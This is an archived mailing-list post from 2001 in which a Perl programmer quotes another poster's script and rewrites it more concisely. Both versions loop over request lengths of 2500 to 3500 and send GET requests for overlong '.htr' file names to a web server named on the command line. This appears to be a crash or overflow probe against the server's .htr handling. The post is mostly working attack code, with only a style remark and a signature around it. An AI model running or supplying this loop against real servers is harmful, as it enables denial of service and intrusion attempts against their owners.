>>>>> "Ryan" == Ryan R Permeh <rrpermehat_private> writes: Ryan> #!/usr/bin/perl Ryan> #props to the absu crew Ryan> use Net::Telnet; Ryan> for ($i=2500;$i<3500;$i++) Ryan> { Ryan> $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80); Ryan> my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n"; Ryan> print "$cmd\n";$obj->print("$cmd"); Ryan> $obj->close; Ryan> } It's silly to use Net::Telnet for HTTP: use LWP::Simple; for ($i = 2500; $i <= 3500; $i++) { warn "$i\n"; get "http://$ARGV[0]/".('a' x $i).".htr"; } -- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095 Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying Email: <merlynat_private> Snail: (Call) PGP-Key: (finger merlynat_private) Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A> Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:49:33 PDT